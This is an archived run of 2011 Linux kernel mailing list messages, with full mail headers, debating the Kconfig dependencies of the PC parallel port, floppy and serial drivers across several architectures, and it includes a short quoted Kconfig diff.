>> On 06/14/2011 03:34 PM, Ralf Baechle wrote:
>>>
>>> There is no point in offering to build something that couldn't possibly be
>>> used.  It just makes the kernel harder to configure and inflates the test
>>> matrix for no good reason.
>>>
>>
>> I see... that's why a bunch of devices that only exist on ARM and MIPS
>> SoCs are offered on x86 platforms?
>>
> http://en.wikipedia.org/wiki/Two_wrongs_make_a_right
> 

Except in this case it's not wrong.  It was done that way because it was
discovered a long time ago that restricting drivers that were not
*inherently* limited to specific platform just resulted in more bitrot
and nasty surprises for the users who *did* need specific things after
all, even though the maintainers had not thought so.

	-hpa

-- 
H. Peter Anvin, Intel Open Source Technology Center
I work for Intel.  I don't speak on their behalf.

From - Thu Nov 08 21:07:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Wed, 15 Jun 2011 08:39:35 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20110615073935.GA28989@n2100.arm.linux.org.uk>
References: <20110614190850.GA13526@linux-mips.org>
	<987664A83D2D224EAE907B061CE93D5301E7281306@orsmsx505.amr.corp.intel.com>
	<4DF8359F.10809@zytor.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1308123853 344 80.91.229.12 (15 Jun 2011 07:44:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 15 Jun 2011 07:44:13 +0000 (UTC)
Cc: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"linux-m68k@vger.kernel.org" <linux-m68k@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	"linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Chen Liqin <liqin.chen@sunplusct.com>, Paul Mackerras <paulus@samba.org>,
	"sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
	Guan Xuetao <gxt@mprc.pku.edu.cn>, Lennox Wu <lennox.wu@gmail.com>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Helge Deller <deller@gmx.de>, "x86@kernel.org" <x86@kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Ingo Molnar <mingo@redhat.com>, Geert Uytterhoeven <geert@linux-m68k.org>,
	Matt Turner <mattst88@gmail.com>, "Yu, Fenghua" <fenghua.yu@intel.
To: "H. Peter Anvin" <hpa@zytor.com>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Wed Jun 15 09:43:59 2011
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from merlin.infradead.org ([205.233.59.134])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1QWkla-0006xq-KX
	for linux-arm-kernel@m.gmane.org; Wed, 15 Jun 2011 09:43:58 +0200
Original-Received: from canuck.infradead.org ([2001:4978:20e::1])
	by merlin.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWklJ-0001Pd-Iu; Wed, 15 Jun 2011 07:43:41 +0000
Original-Received: from localhost ([127.0.0.1] helo=canuck.infradead.org)
	by canuck.infradead.org with esmtp (Exim 4.76 #1 (Red Hat Linux))
	id 1QWklJ-00052x-4P; Wed, 15 Jun 2011 07:43:41 +0000
Original-Received: from [2002:4e20:1eda::1] (helo=caramon.arm.linux.org.uk)
	by canuck.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWklE-00052V-31 for linux-arm-kernel@lists.infradead.org;
	Wed, 15 Jun 2011 07:43:38 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=arm.linux.org.uk; s=caramon; 
	h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
	bh=w973z0Fa/80PLH5FFIiMGPYsqUQMlNp2jjMb8hfv48s=; 
	b=N7aEnoGdIiSKK3w7v9v+vtwCqJ/fQgPGYHTkKFZZeO2VzLom9px/0Oql9n6IPeeN+vyqBisFFz8NB6nx3oOaihss3e/v77NfqrHrnUdV2gN9+Q5SwuTaxu584ETCIgjQGSXZx9sMxWxhNVCYMJXCfAg3HpANcxVIp8TykHZfAic=;
Original-Received: from n2100.arm.linux.org.uk ([2002:4e20:1eda:1:214:fdff:fe10:4f86])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.72) (envelope-from <linux@arm.linux.org.uk>)
	id 1QWkhO-0003Kt-6M; Wed, 15 Jun 2011 08:39:38 +0100
Original-Received: from linux by n2100.arm.linux.org.uk with local (Exim 4.72)
	(envelope-from <linux@n2100.arm.linux.org.uk>)
	id 1QWkhM-0003PG-2h; Wed, 15 Jun 2011 08:39:36 +0100
Content-Disposition: inline
In-Reply-To: <4DF8359F.10809@zytor.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
X-CRM114-Version: 20090807-BlameThorstenAndJenny ( TRE 0.7.6 (BSD) )
	MR-646709E3 
X-CRM114-CacheID: sfid-20110615_034336_876007_48DD994D 
X-CRM114-Status: GOOD (  15.66  )
X-Spam-Score: 1.2 (+)
X-Spam-Report: SpamAssassin version 3.3.1 on canuck.infradead.org summary:
	Content analysis details:   (1.2 points)
	pts rule name              description
	---- ----------------------
	--------------------------------------------------
	-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from
	author's domain
	0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
	not necessarily valid
	-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
	1.3 RDNS_NONE Delivered to internal network by a host with no rDNS
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: linux-arm-kernel-bounces@lists.infradead.org
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:120565 gmane.linux.ports.mips.general:31490 gmane.linux.ports.m68k:2469 gmane.linux.ports.ia64:21725 gmane.linux.ports.sh.devel:11398 gmane.linux.ports.sparc:15147 gmane.linux.kernel.cross-arch:10030 gmane.linux.uclinux.microblaze:11611 gmane.linux.ports.parisc:3802 gmane.linux.kernel:1155084 gmane.linux.ports.alpha:1493 gmane.linux.ports.ppc64.devel:75147
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/120565>

On Tue, Jun 14, 2011 at 09:31:27PM -0700, H. Peter Anvin wrote:
> On 06/14/2011 03:08 PM, Luck, Tony wrote:
> > I took a look at the back of all my ia64 systems - none of them
> > have a parallel port.  It seems unlikely that new systems will
> > start adding parallel ports :-)
> > 
> > So even if I had a printer (or other device) that used a parallel
> > port, I have no way to test it.
> 
> If it has PCI slots, it can have a parallel port.

Is that a clue about where a select statement should be?

From - Thu Nov 08 21:07:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Wed, 15 Jun 2011 08:47:50 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20110615074749.GB28989@n2100.arm.linux.org.uk>
References: <20110614190850.GA13526@linux-mips.org>
	<4DF7C3CA.9050902@zytor.com> <201106142333.16203.arnd@arndb.de>
	<4DF83577.6040903@zytor.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1308124134 1862 80.91.229.12 (15 Jun 2011 07:48:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 15 Jun 2011 07:48:54 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Paul Mackerras <paulus@samba.org>, sparclinux@vger.kernel.org,
	Guan Xuetao <gxt@mprc.pku.edu.cn>,
	Lennox Wu <lennox.wu@gmail.com>, linux-arch@vger.kernel.org,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Helge Deller <deller@gmx.de>, x86@kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Ingo Molnar <mingo@redhat.com>, Geert Uytterhoeven <geert@linux-m68k.org>,
	Matt Turner <mattst88@gmail.com>,
	Fenghua Yu <fenghua.yu@intel.com>, Arnd Bergmann <arnd@arndb.de>,
	microblaze-uclinux@itee.uq.edu.au, Chris Metcalf <cmetcalf@tilera.com>,
	Mikael Starvik <starvik@axis.com>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Thomas Gleixne
To: "H. Peter Anvin" <hpa@zytor.com>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Wed Jun 15 09:48:41 2011
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from merlin.infradead.org ([205.233.59.134])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1QWkq9-0000kD-1d
	for linux-arm-kernel@m.gmane.org; Wed, 15 Jun 2011 09:48:41 +0200
Original-Received: from canuck.infradead.org ([2001:4978:20e::1])
	by merlin.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWkpq-0001sA-KR; Wed, 15 Jun 2011 07:48:22 +0000
Original-Received: from localhost ([127.0.0.1] helo=canuck.infradead.org)
	by canuck.infradead.org with esmtp (Exim 4.76 #1 (Red Hat Linux))
	id 1QWkpq-00059F-5M; Wed, 15 Jun 2011 07:48:22 +0000
Original-Received: from [2002:4e20:1eda::1] (helo=caramon.arm.linux.org.uk)
	by canuck.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWkpm-00058x-7u for linux-arm-kernel@lists.infradead.org;
	Wed, 15 Jun 2011 07:48:19 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=arm.linux.org.uk; s=caramon; 
	h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
	bh=agOcgmQc07pm4x5FRlTzdVmIRxDIXvcdzqDHM+ZMJZk=; 
	b=UWfeIl/fb6ZsAwsAtL3BPXfQ6+uqL0JrTVA6/Qh5QlXtJIi6rovDLzrS8hdB1bHUhxSFDRMRmDcQSU39/9IdyRj6hBBhtLliq6x8RM7ewOlCUADYFGDgKvmITZsYbwp1o11Sop6FNqenSy+8MnsYbqqfuwcoSoFKGDdtUUbWfdg=;
Original-Received: from n2100.arm.linux.org.uk ([2002:4e20:1eda:1:214:fdff:fe10:4f86])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.72) (envelope-from <linux@arm.linux.org.uk>)
	id 1QWkpM-0003Lu-Bv; Wed, 15 Jun 2011 08:47:52 +0100
Original-Received: from linux by n2100.arm.linux.org.uk with local (Exim 4.72)
	(envelope-from <linux@n2100.arm.linux.org.uk>)
	id 1QWkpK-0003Qi-D2; Wed, 15 Jun 2011 08:47:50 +0100
Content-Disposition: inline
In-Reply-To: <4DF83577.6040903@zytor.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
X-CRM114-Version: 20090807-BlameThorstenAndJenny ( TRE 0.7.6 (BSD) )
	MR-646709E3 
X-CRM114-CacheID: sfid-20110615_034818_867991_EF00B9EA 
X-CRM114-Status: GOOD (  18.29  )
X-Spam-Score: 1.2 (+)
X-Spam-Report: SpamAssassin version 3.3.1 on canuck.infradead.org summary:
	Content analysis details:   (1.2 points)
	pts rule name              description
	---- ----------------------
	--------------------------------------------------
	-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from
	author's domain
	0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
	not necessarily valid
	-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
	1.3 RDNS_NONE Delivered to internal network by a host with no rDNS
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: linux-arm-kernel-bounces@lists.infradead.org
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:120566 gmane.linux.ports.mips.general:31491 gmane.linux.ports.m68k:2470 gmane.linux.ports.ia64:21726 gmane.linux.ports.sh.devel:11399 gmane.linux.ports.sparc:15148 gmane.linux.kernel.cross-arch:10031 gmane.linux.uclinux.microblaze:11612 gmane.linux.ports.parisc:3803 gmane.linux.kernel:1155085 gmane.linux.ports.alpha:1494 gmane.linux.ports.ppc64.devel:75148
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/120566>

On Tue, Jun 14, 2011 at 09:30:47PM -0700, H. Peter Anvin wrote:
> On 06/14/2011 02:33 PM, Arnd Bergmann wrote:
> >>
> >> Why on earth restrict it like that?  It's just a device driver, like
> >> more or less any other device driver...
> > 
> > I'd say any other classic ISA/PC driver, including floppy, gameport or
> > serial-8250. One problem with these is that we never fully worked out
> > the dependencies for these, which we probably should. CONFIG_ISA
> > generally means ISA add-on cards, but that might not be enabled for
> > platforms that have a pc-parport but no ISA slots.
> > 
> 
> OK, serial-8250 is clearly just plain wrong, since the 8250 series UARTs
> are ubiquitous across just about every platform.
> 
> Floppy is special (in the short bus sense), since it is closely tied to
> ISA DMA.  Conditionalizing this on ISA DMA makes total sense.

No it doesn't.  It depends on the ISA DMA API, not that the machine has
ISA DMA.

I have a platform which has no ISA DMA but uses the floppy driver.  Please
don't break it.

From - Thu Nov 08 21:07:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lennox Wu <lennox.wu@gmail.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.sparc,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel
Subject: Re: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Wed, 15 Jun 2011 16:02:53 +0800
Lines: 51
Approved: news@gmane.org
Message-ID: <BANLkTikpax09bQqwuP1dJYRtSO+c0DdUgg@mail.gmail.com>
References: <20110614190850.GA13526@linux-mips.org>
        <201106142222.43553.arnd@arndb.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary=0016364ecb745fc9a204a5bb94b9
X-Trace: dough.gmane.org 1308125026 6984 80.91.229.12 (15 Jun 2011 08:03:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 15 Jun 2011 08:03:46 +0000 (UTC)
Cc: linuxppc-dev@lists.ozlabs.org, Ralf Baechle <ralf@linux-mips.org>,
        linux-arch@vger.kernel.org,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Chen Liqin <liqin.chen@sunplusct.com>,
        Chris Metcalf <cmetcalf@tilera.com>,
        Chris Zankel <chris@zankel.net>,
        "David S. Miller" <davem@davemloft.net>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Guan Xuetao <gxt@mprc.pku.edu.cn>,
        Helge Deller <deller@gmx.de>, "H. Peter Anvin" <hpa@zytor.com>,
        Ingo Molnar <mingo@redhat.com>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Kyle McMartin <kyle@mcmartin.ca>,
        Matt Turner <mattst88@gmail.com>,
        Michal Simek <monstr@monstr.eu>,
        Mikael Starv
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-mips-bounce@linux-mips.org Wed Jun 15 10:03:35 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1QWl4Y-0000Kr-Sd
	for sgi-linux-mips@gmane.org; Wed, 15 Jun 2011 10:03:35 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:60774 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1491055Ab1FOIDW (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 15 Jun 2011 10:03:22 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 15 Jun 2011 10:03:04 +0200 (CEST)
Original-Received: from mail-qy0-f170.google.com ([209.85.216.170]:59340 "EHLO
        mail-qy0-f170.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S1490982Ab1FOIDB (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 15 Jun 2011 10:03:01 +0200
Original-Received: by qyk32 with SMTP id 32so2095458qyk.15
        for <multiple recipients>; Wed, 15 Jun 2011 01:02:55 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=gVQUE4oX+uQMW5TLRGECkxA7/PzcUWpK4LvmRETvGtQ=;
        b=n+mA4vvsdzLV/ei2iYXecq7Zp9onOwEAYT5AF1tIM/axCcywKKRTMv5etvQK4qWJF0
         3tjvnHnillrTlGzvZEsGMEgae6U2xhmsfTCdG46zeSisBxCVpGMEHb9Kzp0f42oBGubL
         rrTkGyx6KLkP8h+spq9/Q/04w0X4Sz5QoBR3k=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        b=uPVw/oXJvLbULUtBD6fdjAxgwbk785UTYVau9WpB7GIRu4xrx6dPr+VvILWzPenWof
         LtdHVG7WeEymvDcNO4S1GNfs2d/49UnmEabE58gdvdq2Hh88EYHEYtL4pwtP+2GWaBmA
         ztiYbzL76iApg7EE5GVGhAmWp4h66thKKE0mU=
Original-Received: by 10.229.10.209 with SMTP id q17mr141368qcq.106.1308124973614; Wed,
 15 Jun 2011 01:02:53 -0700 (PDT)
Original-Received: by 10.229.217.201 with HTTP; Wed, 15 Jun 2011 01:02:53 -0700 (PDT)
In-Reply-To: <201106142222.43553.arnd@arndb.de>
X-archive-position: 30399
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: lennox.wu@gmail.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:31492 gmane.linux.ports.ppc64.devel:75149 gmane.linux.kernel.cross-arch:10033 gmane.linux.ports.sparc:15149 gmane.linux.ports.m68k:2471 gmane.linux.ports.ia64:21727 gmane.linux.ports.parisc:3804 gmane.linux.ports.sh.devel:11401 gmane.linux.uclinux.microblaze:11613 gmane.linux.kernel:1155089 gmane.linux.ports.alpha:1495 gmane.linux.ports.arm.kernel:120568
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/31492>

--0016364ecb745fc9a204a5bb94b9
Content-Type: text/plain; charset=ISO-8859-1

2011/6/15 Arnd Bergmann <arnd@arndb.de>
>
> >  config SCORE
> > -       def_bool y
> > -       select HAVE_GENERIC_HARDIRQS
> > -       select GENERIC_IRQ_SHOW
> > +     def_bool y
> > +     select HAVE_GENERIC_HARDIRQS
> > +     select HAVE_PC_PARPORT
> > +     select GENERIC_IRQ_SHOW
> >
> >  choice
> >       prompt "System type"
>
> Certainly not, no PIO support
>
>  Yes, there is no platform of the Score supports PIO.
Best,
Lennox

--0016364ecb745fc9a204a5bb94b9
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

<br><br><div class=3D"gmail_quote">2011/6/15 Arnd Bergmann <span dir=3D"ltr=
">&lt;<a href=3D"mailto:arnd@arndb.de">arnd@arndb.de</a>&gt;</span><blockqu=
ote class=3D"gmail_quote" style=3D"margin:0 0 0 .8ex;border-left:1px #ccc s=
olid;padding-left:1ex;">
<div class=3D"im">
&gt; =A0config SCORE<br>
&gt; - =A0 =A0 =A0 def_bool y<br>
&gt; - =A0 =A0 =A0 select HAVE_GENERIC_HARDIRQS<br>
&gt; - =A0 =A0 =A0 select GENERIC_IRQ_SHOW<br>
&gt; + =A0 =A0 def_bool y<br>
&gt; + =A0 =A0 select HAVE_GENERIC_HARDIRQS<br>
&gt; + =A0 =A0 select HAVE_PC_PARPORT<br>
&gt; + =A0 =A0 select GENERIC_IRQ_SHOW<br>
&gt;<br>
&gt; =A0choice<br>
&gt; =A0 =A0 =A0 prompt &quot;System type&quot;<br>
<br>
</div>Certainly not, no PIO support<br>
<div class=3D"im"><br></div></blockquote><div>=A0Yes, there is no platform =
of the Score supports PIO.</div><div>Best,</div><div>Lennox</div></div>

--0016364ecb745fc9a204a5bb94b9--



From - Thu Nov 08 21:07:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Baechle <ralf@linux-mips.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.ports.sparc,gmane.linux.uclinux.microblaze,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Wed, 15 Jun 2011 09:34:37 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20110615083437.GA32624@linux-mips.org>
References: <20110614190850.GA13526@linux-mips.org>
 <4DF7C3CA.9050902@zytor.com>
 <20110614223404.GA30057@linux-mips.org>
 <4DF8329C.7000904@zytor.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1308126980 17949 80.91.229.12 (15 Jun 2011 08:36:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 15 Jun 2011 08:36:20 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Chen Liqin <liqin.chen@sunplusct.com>,
        Chris Metcalf <cmetcalf@tilera.com>,
        Chris Zankel <chris@zankel.net>,
        "David S. Miller" <davem@davemloft.net>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Guan Xuetao <gxt@mprc.pku.edu.cn>,
        Helge Deller <deller@gmx.de>, Ingo Molnar <mingo@redhat.com>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Kyle McMartin <kyle@mcmartin.ca>,
        Lennox Wu <lennox.wu@gmail.com>,
        Matt Turner <mattst88@gmail.com>,
        Michal Simek <monstr@monstr.eu>,
        Mikael Starvik <starvik@axis.com>,
        Paul Mackerras <paulus@samba.org>,
        Pa
To: "H. Peter Anvin" <hpa@zytor.com>
Original-X-From: linux-mips-bounce@linux-mips.org Wed Jun 15 10:36:02 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1QWlZv-0008LY-HD
	for sgi-linux-mips@gmane.org; Wed, 15 Jun 2011 10:35:59 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:56918 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1491040Ab1FOIfu (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 15 Jun 2011 10:35:50 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 15 Jun 2011 10:35:32 +0200 (CEST)
Original-Received: from h5.dl5rb.org.uk ([81.2.74.5]:47757 "EHLO duck.linux-mips.net"
        rhost-flags-OK-OK-OK-FAIL) by eddie.linux-mips.org with ESMTP
        id S1490982Ab1FOIf1 (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Wed, 15 Jun 2011 10:35:27 +0200
Original-Received: from duck.linux-mips.net (duck.linux-mips.net [127.0.0.1])
        by duck.linux-mips.net (8.14.4/8.14.3) with ESMTP id p5F8Yl3a006605;
        Wed, 15 Jun 2011 09:34:47 +0100
Original-Received: (from ralf@localhost)
        by duck.linux-mips.net (8.14.4/8.14.4/Submit) id p5F8YbQ1006594;
        Wed, 15 Jun 2011 09:34:37 +0100
Content-Disposition: inline
In-Reply-To: <4DF8329C.7000904@zytor.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-archive-position: 30402
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:31495 gmane.linux.kernel.cross-arch:10034 gmane.linux.ports.sparc:15150 gmane.linux.uclinux.microblaze:11614 gmane.linux.ports.alpha:1496 gmane.linux.ports.arm.kernel:120571 gmane.linux.ports.ia64:21728 gmane.linux.kernel:1155106 gmane.linux.ports.m68k:2472 gmane.linux.ports.parisc:3805 gmane.linux.ports.ppc64.devel:75150 gmane.linux.ports.sh.devel:11402
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/31495>

On Tue, Jun 14, 2011 at 09:18:36PM -0700, H. Peter Anvin wrote:

> On 06/14/2011 03:34 PM, Ralf Baechle wrote:
> > 
> > There is no point in offering to build something that couldn't possibly be
> > used.  It just makes the kernel harder to configure and inflates the test
> > matrix for no good reason.
> > 
> 
> I see... that's why a bunch of devices that only exist on ARM and MIPS
> SoCs are offered on x86 platforms?

Well, if you notice one of those, yell.  Or send patches.  Most of those
have been fixed.

  Ralf



From - Thu Nov 08 21:07:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
